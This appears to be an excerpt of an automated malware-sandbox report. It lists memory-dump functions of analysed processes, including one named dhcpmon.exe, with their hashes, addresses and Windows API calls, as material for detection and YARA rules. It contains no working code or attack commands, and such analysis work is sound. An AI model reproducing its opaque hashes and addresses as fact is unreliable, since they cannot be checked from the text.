Instruction ID: c383f24b6b01f00b0a1ab2f76ea20155448d9ba5bccbe3444a263e68a152dbef
Opcode Fuzzy Hash: 5b5dc74eef127de78a3b5ec0f6d1aee216d919340e10386f0b6e5931e18fc538
Instruction Fuzzy Hash: 4ED05E79215A818FE3278A1CC1A9B953FE4AB51B04F4644FEE9408BA63C7A8E9D1D210

Uniqueness

Uniqueness Score: -1.00%

Function 02D70251, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.226617379.0000000002D70000.00000040.00000001.sdmp, Offset: 02D70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65bf81f7d54390ecab137907856615cacfb788381a93a37d5e4889149cc4f0ca
Instruction ID: e5583365b0d03614b5ef9aee1f58a192c7417c2d906535c203a58e1018b13325
Opcode Fuzzy Hash: 65bf81f7d54390ecab137907856615cacfb788381a93a37d5e4889149cc4f0ca
Instruction Fuzzy Hash: 44D01276B04010CFDF00A7BDF8041ECBBA1EFC4225B20107BE64ADB651E9358D19C701

Uniqueness

Uniqueness Score: -1.00%

Function 010F23BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.226383645.00000000010F2000.00000040.00000001.sdmp, Offset: 010F2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3d8b73849cdfa5149bfcaf487f930743381bb877c111827e18a556e569d2098
Instruction ID: 3fbac819ac9b7994406913627bde33f87ab73282aa290fbd5eef8319f8b8b0ac
Opcode Fuzzy Hash: f3d8b73849cdfa5149bfcaf487f930743381bb877c111827e18a556e569d2098
Instruction Fuzzy Hash: 08D05E742006818BD715DB0CC595F593BD4EB41B00F0684ECAE408BA62C3A4D881C600

Uniqueness

Uniqueness Score: -1.00%

Function 02D70130, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.226617379.0000000002D70000.00000040.00000001.sdmp, Offset: 02D70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7893dbd38701938183e4e526bc4be7eef4d074f68b60257ff5ec36247b056fe5
Instruction ID: 1dd0fd74283fa00e889e93684838481cd1d9afa2cebd470dfc7a73550d7a7f12
Opcode Fuzzy Hash: 7893dbd38701938183e4e526bc4be7eef4d074f68b60257ff5ec36247b056fe5
Instruction Fuzzy Hash: A0C09B3175460907DF10DAF9B889767379D97D0619F440475B80DC7685FD6DDC518350

Uniqueness

Uniqueness Score: -1.00%

Function 02D71E20, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.226617379.0000000002D70000.00000040.00000001.sdmp, Offset: 02D70000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecd2320cbd4587de9c3a9ad854b87e05a4c52941232fd023147fe26d98472ec8
Instruction ID: 9959ce2ee664a24b7ef4ebb5306254c8b531db6fa39d3077ca3451cbb1b7c14c
Opcode Fuzzy Hash: ecd2320cbd4587de9c3a9ad854b87e05a4c52941232fd023147fe26d98472ec8
Instruction Fuzzy Hash: 95C01270418201AFC740EF28EC4996A7BF0EAC0605F40C92CE48DC2114F670551CCB52

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: dhcpmon.exe PID: 5404 Parent PID: 3388 dhcpmon.exeCOMMON

Executed Functions

Function 010CA2C1, Relevance: 1.6, APIs: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 010CA371

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1b46f75c08632a7da46c062f074f955a8017f394d9a38b47a463cc736f947892
Instruction ID: 48b73c2b75d29df1158667ad4406077526499e7bfb8ffe9944879e8a0b2de2c1
Opcode Fuzzy Hash: 1b46f75c08632a7da46c062f074f955a8017f394d9a38b47a463cc736f947892
Instruction Fuzzy Hash: 8C318E75504384AFE722CF25DC85F56BFF8EF06610F0884AEEA858B252D365E808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 010CA2F2, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 010CA371

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 756ed89328ab93b8ef860ba8b900a3df9b9ebcdd0fb1eedbbc706f932784b340
Instruction ID: edecbf6a69da2f5298510f02a1e3c57a7fb5131b1fee7b1969ef1beac967261f
Opcode Fuzzy Hash: 756ed89328ab93b8ef860ba8b900a3df9b9ebcdd0fb1eedbbc706f932784b340
Instruction Fuzzy Hash: BD217C71600644EFE721DF69DC85B6AFBE8EF08610F14846EEA859B252E3B1E404CB71

Uniqueness

Uniqueness Score: -1.00%

Function 010CAE40, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E2C,?,?), ref: 010CAED6

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: 7bbd51c9a1d278c8eb48ca748ac979b877b217af517914a8803fc4aaf085a1d7
Instruction ID: 2cd4f07464c13ba00a3e20c99be87eca8d96f1b294fdb55a73ee9f19a184a4ff
Opcode Fuzzy Hash: 7bbd51c9a1d278c8eb48ca748ac979b877b217af517914a8803fc4aaf085a1d7
Instruction Fuzzy Hash: D221A7754097806FD3138B25DC51F62BFB4EF87B10F1981DBE9848B553D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 010CA483, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,9750AD57,00000000,00000000,00000000,00000000), ref: 010CA509

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: f53fa0c07b6a072b1d7fc4cdc43d7f5b712216b4f0ab9baa59aecf9af41d2937
Instruction ID: b6c12b504c17f64d1a9d495a8d4bda1ff06705283b5407610fd75d0555b410be
Opcode Fuzzy Hash: f53fa0c07b6a072b1d7fc4cdc43d7f5b712216b4f0ab9baa59aecf9af41d2937
Instruction Fuzzy Hash: 9E21D876409384AFE7128B25DC41FA6BFB8DF47710F1880DBED849B253D264A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 010CA3C8, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 010CA43C

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: aebdbe8520c74a02aa1ac77aff775977e8546453a9d016bf3e9a42590f515884
Instruction ID: 7cef182d59f4cc24fd80d1fcd301310b35a0e18b4d814795dccab24fc7e4417e
Opcode Fuzzy Hash: aebdbe8520c74a02aa1ac77aff775977e8546453a9d016bf3e9a42590f515884
Instruction Fuzzy Hash: FF21C2B650A3C09FD7038F25DC95652BFA4DF47220F0984DBED848F2A3D2645908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 010CA816, Relevance: 1.6, APIs: 1, Instructions: 70fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E2C,9750AD57,00000000,00000000,00000000,00000000), ref: 010CA895

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 200d436a788a59763d9c18bc336e98172870e7fd0e170b124f92628d838e5a3e
Instruction ID: 265ba6eb30d38dc4bce43a80a68036ef9535870d16c77b4edb45deccfdf8caaf
Opcode Fuzzy Hash: 200d436a788a59763d9c18bc336e98172870e7fd0e170b124f92628d838e5a3e
Instruction Fuzzy Hash: 7F219F72405384AFEB228F65DC44F57FFB8EF46710F0884ABEA849B152D264A409CB71

Uniqueness

Uniqueness Score: -1.00%

Function 010CAA16, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.KERNELBASE(?,?), ref: 010CAA87

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: FileInfoSizeVersion
String ID:
API String ID: 1661704012-0
Opcode ID: 267a8b93ae829cfa57cdf3084ac2608579e04ad27dad4e6342701cbe394bf889
Instruction ID: cbb17fd4ca5195a06b1674f23522822c9a24f6182b57a82f3b8f65bdf1577257
Opcode Fuzzy Hash: 267a8b93ae829cfa57cdf3084ac2608579e04ad27dad4e6342701cbe394bf889
Instruction Fuzzy Hash: C7219D71509384AFD7128F29DC45B56BFF4EF06220F0984DADD84CF263D279A809CB62

Uniqueness

Uniqueness Score: -1.00%

Function 010CA836, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E2C,9750AD57,00000000,00000000,00000000,00000000), ref: 010CA895

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a08541de70c490c9491a793e5f4474e802c108ca2511634bd6bbffdb5a325c3e
Instruction ID: 96444d60778a85079b3c8571276397673986652324a0300a90cb0038ceb85a2a
Opcode Fuzzy Hash: a08541de70c490c9491a793e5f4474e802c108ca2511634bd6bbffdb5a325c3e
Instruction Fuzzy Hash: B711BF72500204EFEB219F55DC44F6BFBE8EF44720F1484ABEE899B251D674A4098B71

Uniqueness

Uniqueness Score: -1.00%

Function 010CAAD8, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetFileVersionInfoW.KERNELBASE(?,?,?,?), ref: 010CAB3D

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: FileInfoVersion
String ID:
API String ID: 2427832333-0
Opcode ID: ea04cb4e2668663cdc7f81ab60182a457489affa9b11d01d8cb9b9e4d1bcc991
Instruction ID: 9e17fd61130b16c58a2c133d40feda0ab7d0764531df4b0927dbf254e4af173f
Opcode Fuzzy Hash: ea04cb4e2668663cdc7f81ab60182a457489affa9b11d01d8cb9b9e4d1bcc991
Instruction Fuzzy Hash: 82119372504744AFD7228F15DC45B66FFF8EF46610F08849EED858B253D261A818CB61

Uniqueness

Uniqueness Score: -1.00%

Function 010CA8DF, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNELBASE ref: 010CA949

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: baacabca65b546741110ef02a0a58e09a747fa14af1b7ededad00800d6b1c75d
Instruction ID: 589cbf2b9855a1f91005b49fd4233539bb8501da610641f4903d57ec86c5b9a7
Opcode Fuzzy Hash: baacabca65b546741110ef02a0a58e09a747fa14af1b7ededad00800d6b1c75d
Instruction Fuzzy Hash: 2211C1754093C49FD712CB29DC45B92BFE4EF03324F0A80DADD884F163D264A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 010CA4B6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,9750AD57,00000000,00000000,00000000,00000000), ref: 010CA509

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 943892f6a7a7e9a94b1e77e24c3d73e77ebed5564dd43c5521709bdf591b24e3
Instruction ID: 14153b4bda34f8a4df00acadf48c302bb668587f7ff6153eabef887c2a10e57d
Opcode Fuzzy Hash: 943892f6a7a7e9a94b1e77e24c3d73e77ebed5564dd43c5521709bdf591b24e3
Instruction Fuzzy Hash: 7D012272500204EEEB20CB19DC85FABFBE8DF55720F14C09BEE449B241D2B4A4088AB1

Uniqueness

Uniqueness Score: -1.00%

Function 010CA23C, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 010CA290

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: a5e3d0add6714cb02528dec2302d52fdb9450d48e3f6696c73744ab5e6d5dac2
Instruction ID: 1697904a6172f0474e83c72c23132901ccc70db0a0fc8b8f4393b8dbdbf8cd34
Opcode Fuzzy Hash: a5e3d0add6714cb02528dec2302d52fdb9450d48e3f6696c73744ab5e6d5dac2
Instruction Fuzzy Hash: 74118471509384AFD7128B19DC44B62FFF4DF46624F0880DAED858F253D275A908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 010CAAFA, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetFileVersionInfoW.KERNELBASE(?,?,?,?), ref: 010CAB3D

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: FileInfoVersion
String ID:
API String ID: 2427832333-0
Opcode ID: a19bdd8980104b34ce76cfa1a42f2df331029343a93b921532dc6e8e4363baf4
Instruction ID: 1ec3c9cf21eec35844a97cee093b1c6380aa80cd9d7af2b11974d8cb7aed17cd
Opcode Fuzzy Hash: a19bdd8980104b34ce76cfa1a42f2df331029343a93b921532dc6e8e4363baf4
Instruction Fuzzy Hash: 0E019232600604DFDB60CF29D885B5AFFE4EF05A20F08849EDD898B653E671E458CF61

Uniqueness

Uniqueness Score: -1.00%

Function 010CAA4A, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.KERNELBASE(?,?), ref: 010CAA87

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: FileInfoSizeVersion
String ID:
API String ID: 1661704012-0
Opcode ID: 75675a70ed954b3806465320eb7a4f24d0174ffe5e6985cb077a44445002e04f
Instruction ID: 1c26bcbb0e8addeb0311de841f152544c1843d67f2181d4080dd97a8831b1ea6
Opcode Fuzzy Hash: 75675a70ed954b3806465320eb7a4f24d0174ffe5e6985cb077a44445002e04f
Instruction Fuzzy Hash: 3E019E71A00244DFDB50CF69D98476AFFE4EF04620F18C4AADD888B212E374A404CF72

Uniqueness

Uniqueness Score: -1.00%

Function 010CA40A, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 010CA43C

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: a7de74ddc94514bbaf19c2d082620285b6d1a9c5e0cad2882fcf3fd05990539c
Instruction ID: 66d3485bf12995a66d0d5489934ab7316e64542a58f43e176af05c25cd17b724
Opcode Fuzzy Hash: a7de74ddc94514bbaf19c2d082620285b6d1a9c5e0cad2882fcf3fd05990539c
Instruction Fuzzy Hash: 74018F71A00244DFDB50CF29D88976AFFD4DF44620F18C4ABDE898F252EA75A408CF62

Uniqueness

Uniqueness Score: -1.00%

Function 010CAE86, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E2C,?,?), ref: 010CAED6

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: 7c08c812f8cc833d5aa6f547fa945c40c6cb2ac16a71feff54e70eb700200e65
Instruction ID: 788dcb0498cf941990bdb44d7910eb230285023c108593996a6907d835fdc19b
Opcode Fuzzy Hash: 7c08c812f8cc833d5aa6f547fa945c40c6cb2ac16a71feff54e70eb700200e65
Instruction Fuzzy Hash: 26016276500600ABD250DF16DC86F26FBE8FB89B20F14815AED085B741E371F915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 010CA25E, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 010CA290

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: eb48772245168528be694bdd444325bd97fbc652943c109f3ee7a3f74697d6e9
Instruction ID: fefae853086285c95f9a17698de5e7e8a55d11ef6ce0c3242a2af14a3c2f4145
Opcode Fuzzy Hash: eb48772245168528be694bdd444325bd97fbc652943c109f3ee7a3f74697d6e9
Instruction Fuzzy Hash: B4F0A435904658DFD7508F19D88576AFFD0DF04720F18C09ADD894B352E2B6A408CEB2

Uniqueness

Uniqueness Score: -1.00%

Function 010CA91A, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNELBASE ref: 010CA949

Memory Dump Source

Source File: 0000000B.00000002.238953181.00000000010CA000.00000040.00000001.sdmp, Offset: 010CA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 820dd5045f1d5e3b5689e85692a282189cef33c8e54f4ed2b22c2a53631bb641
Instruction ID: 2e95d9e26ad70d276b4e3dc7558a99bc139ee5ed8cdc1180aef2386164b7dde6
Opcode Fuzzy Hash: 820dd5045f1d5e3b5689e85692a282189cef33c8e54f4ed2b22c2a53631bb641
Instruction Fuzzy Hash: 53F0AF35500648DFD7508F19D88A7AAFFD0DF04A20F18C09ADD894B212E2B5A448CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 02C51B01, Relevance: 1.5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

Strings

:@Dr, xrefs: 02C51B58

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID: :@Dr
API String ID: 0-3830894600
Opcode ID: 0e761b30e8d0e42ae3e4082e27cde0450c1e8096390b3febd28e5e879c9727d0
Instruction ID: 8ce8b1958963458c97898e0d6fb753415f1305617e0e2a0377eba2eca6683fa2
Opcode Fuzzy Hash: 0e761b30e8d0e42ae3e4082e27cde0450c1e8096390b3febd28e5e879c9727d0
Instruction Fuzzy Hash: A171E530701620DFD324DB29D858B267BE1EB81311F19846ADC5ECB291CBBAED84CB44

Uniqueness

Uniqueness Score: -1.00%

Function 02C50006, Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

-]q^, xrefs: 02C500F1, 02C500F6

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID: -]q^
API String ID: 0-2043930112
Opcode ID: 13acd0ccc54dd92f657d88ff82b601797a4288da0529e08b338ecbaf8f3d5039
Instruction ID: b4676ed542123e069bf318862dfc50862f15096f81f33e3de6b8c97ab87fb955
Opcode Fuzzy Hash: 13acd0ccc54dd92f657d88ff82b601797a4288da0529e08b338ecbaf8f3d5039
Instruction Fuzzy Hash: 923160605093C19FD7029B74D86476A3FB5AF83214F1948DBD485CF2A3DA789C49C752

Uniqueness

Uniqueness Score: -1.00%

Function 02C50150, Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

:@Dr, xrefs: 02C501A7

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID: :@Dr
API String ID: 0-3830894600
Opcode ID: 6178916000e7463698421062d5c49d1864803a13a901f6d04e8402b84dc99965
Instruction ID: a3a4bab721efb45624320bda93158e8c65cf8a3d6b9ab5dcb2061dd96acd8a03
Opcode Fuzzy Hash: 6178916000e7463698421062d5c49d1864803a13a901f6d04e8402b84dc99965
Instruction Fuzzy Hash: 34219F76A01108AFDB05DFA6E9449DEBBBAFF8C310F04812AE945E7250EF318A018B51

Uniqueness

Uniqueness Score: -1.00%

Function 02C51540, Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8151043022445f8f90c15237011976d0d145c5d44383ae691c40e6b07a032c83
Instruction ID: 23705b9550d112e207b9f0714b3175a5d93e4b99861814ff3ddc5742b65e7400
Opcode Fuzzy Hash: 8151043022445f8f90c15237011976d0d145c5d44383ae691c40e6b07a032c83
Instruction Fuzzy Hash: 77619C347012518FCB14AB38D81876E3BA6ABC9311F184065DC4ACB398DEB9DD86CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02C51453, Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ccbb8cf1e6a08c427e8192f7ac13713b4427ec9ba0cb2b853af15175c6fd4c
Instruction ID: ba10caf60ef9efbc901f87a32ffbe45cb1235db241dfe193e28a333a65c1bff2
Opcode Fuzzy Hash: 33ccbb8cf1e6a08c427e8192f7ac13713b4427ec9ba0cb2b853af15175c6fd4c
Instruction Fuzzy Hash: BC31D3307012519FDB259B75EC187AE7FB6AB85204F18005AEC46CB2C5CBB9CD83CB65

Uniqueness

Uniqueness Score: -1.00%

Function 02C50521, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9946d028d2d449f68b5e853f19f8c3eabe20ae9169458f050f8ee15f2e3377e7
Instruction ID: 47cafe66c8b087517730f66d317baa8fdb8a0e681d6497db10d5e8a5311defb8
Opcode Fuzzy Hash: 9946d028d2d449f68b5e853f19f8c3eabe20ae9169458f050f8ee15f2e3377e7
Instruction Fuzzy Hash: 91211A707002508FC75AAB7CD16466E3BE3AFC6305B5440BAE446CF7A1DE298D818B96

Uniqueness

Uniqueness Score: -1.00%

Function 02C50630, Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5989f5c1130d1ee77b0b95398d41456fbcde09f2c2273a4455bc3f5cee88fb1
Instruction ID: 27b8f84e12b735f3f0ee863955e42421cea13c4792f5dab32eb23beaa0a685f0
Opcode Fuzzy Hash: c5989f5c1130d1ee77b0b95398d41456fbcde09f2c2273a4455bc3f5cee88fb1
Instruction Fuzzy Hash: 811129317042A04FC315A73894282BC3FA3DFCA711B1940EBD986CF3A5EE694D478796

Uniqueness

Uniqueness Score: -1.00%

Function 02C50530, Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9779400e47c807b0cbb0a00482b4154cf041b299cfd294954d3104d75840fa
Instruction ID: 5cde0ab29f228df4be444b4285034c4224a3dda6bcabdaa8f7f729a63e85a6a4
Opcode Fuzzy Hash: bb9779400e47c807b0cbb0a00482b4154cf041b299cfd294954d3104d75840fa
Instruction Fuzzy Hash: F31119703002108BC759AB7DD16467E3AD7EFC5705B6440BAE406CF7A5DE29DD818B8A

Uniqueness

Uniqueness Score: -1.00%

Function 02C51770, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58279ad4ba50fdf8baa218e54d3d1e87ec12e00eba2e86393037c306f4b950d9
Instruction ID: 89baba949935487d469b6ea1b0b6797017a76edd0f1d7e8e35b09b01481e5b90
Opcode Fuzzy Hash: 58279ad4ba50fdf8baa218e54d3d1e87ec12e00eba2e86393037c306f4b950d9
Instruction Fuzzy Hash: AD11DB36B001508FC7049B7CE8587A93BE6EFC9311F1840A6D94ACB395DDBACC84C791

Uniqueness

Uniqueness Score: -1.00%

Function 02C51570, Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac0fb98502443ec7204427b683e071cbc20fbc814593a68ba8f47127ff114cdc
Instruction ID: 0b309d7143bf5a31e8922e0d4ca27dbcd1b95347c5f4d34268c0e6ba3c4edb69
Opcode Fuzzy Hash: ac0fb98502443ec7204427b683e071cbc20fbc814593a68ba8f47127ff114cdc
Instruction Fuzzy Hash: 1E01F5357002209BC724AA3AD84876A77A6EBC4391F084175DD0AC7244EBB5DD80C794

Uniqueness

Uniqueness Score: -1.00%

Function 02C51D79, Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2505848f43db03d52a3701dafc428d6a8dd4cb6f7053e87973b520d6dddd7901
Instruction ID: 8ba6e71154874cbf309b835df3f2f590a34eef2f4c0fb849385259ce55eb962d
Opcode Fuzzy Hash: 2505848f43db03d52a3701dafc428d6a8dd4cb6f7053e87973b520d6dddd7901
Instruction Fuzzy Hash: 2201A2306093825FD7161774993479E3FB79F87600B2940DB98C9DB2A7CA29891A8B61

Uniqueness

Uniqueness Score: -1.00%

Function 02C405CF, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239477376.0000000002C40000.00000040.00000040.sdmp, Offset: 02C40000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e425285ecd6e89aa5b9727407d53907eb20852db4ffbf2405454dc1bac547679
Instruction ID: 6a89fbac793918fd763caea1c6697dcb5492e9ee926339f1b65af5ab0cc443da
Opcode Fuzzy Hash: e425285ecd6e89aa5b9727407d53907eb20852db4ffbf2405454dc1bac547679
Instruction Fuzzy Hash: 2C01D6765093806FD7028B16EC40862FFE8DE86620708C49FED898B612D265B904CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02C517F1, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b46f4e2ed27030dfff3a5cc60cf84eeee3672b34d475f12e0d3b5bbf1110dd8
Instruction ID: efe382cc7a72be17b553385873749c6801f180504fd7ff61567bb4442bbb8610
Opcode Fuzzy Hash: 8b46f4e2ed27030dfff3a5cc60cf84eeee3672b34d475f12e0d3b5bbf1110dd8
Instruction Fuzzy Hash: 46F0D1307042524BC754A739C0147AD3BD79FCA650725006AD945CB391EE2DDC42C7D5

Uniqueness

Uniqueness Score: -1.00%

Function 02C51D88, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 177c13b346bb5c2362900fab37bee544b46823f6642acc308d5815240fbd4c00
Instruction ID: 1285348ab584902420c0eba8452b154e3efb46e45c09556b09078c17a4211101
Opcode Fuzzy Hash: 177c13b346bb5c2362900fab37bee544b46823f6642acc308d5815240fbd4c00
Instruction Fuzzy Hash: F201C8306053865FC7161775983479E3FFB9FC7600F28409A9C89CB296DE698C168B65

Uniqueness

Uniqueness Score: -1.00%

Function 02C50697, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.239490706.0000000002C50000.00000040.00000001.sdmp, Offset: 02C50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3a351f796a438abc8593dd582e5d049dee93b63e516e27031426b46dc98ea10
Instruction ID: c00772df1f9d8d5d6b6f09a4ba9ca88003c9013cf03f53ee734f8b2faeffb6d6
Opcode Fuzzy Hash: f3a351f796a438abc8593dd582e5d049dee93b63e516e27031426b46dc98ea10
Instruction Fuzzy Hash: 27F090763082A18FC3166B34986C19C3FB2BFDA21131900EADD86CF2A6DE2549568B52

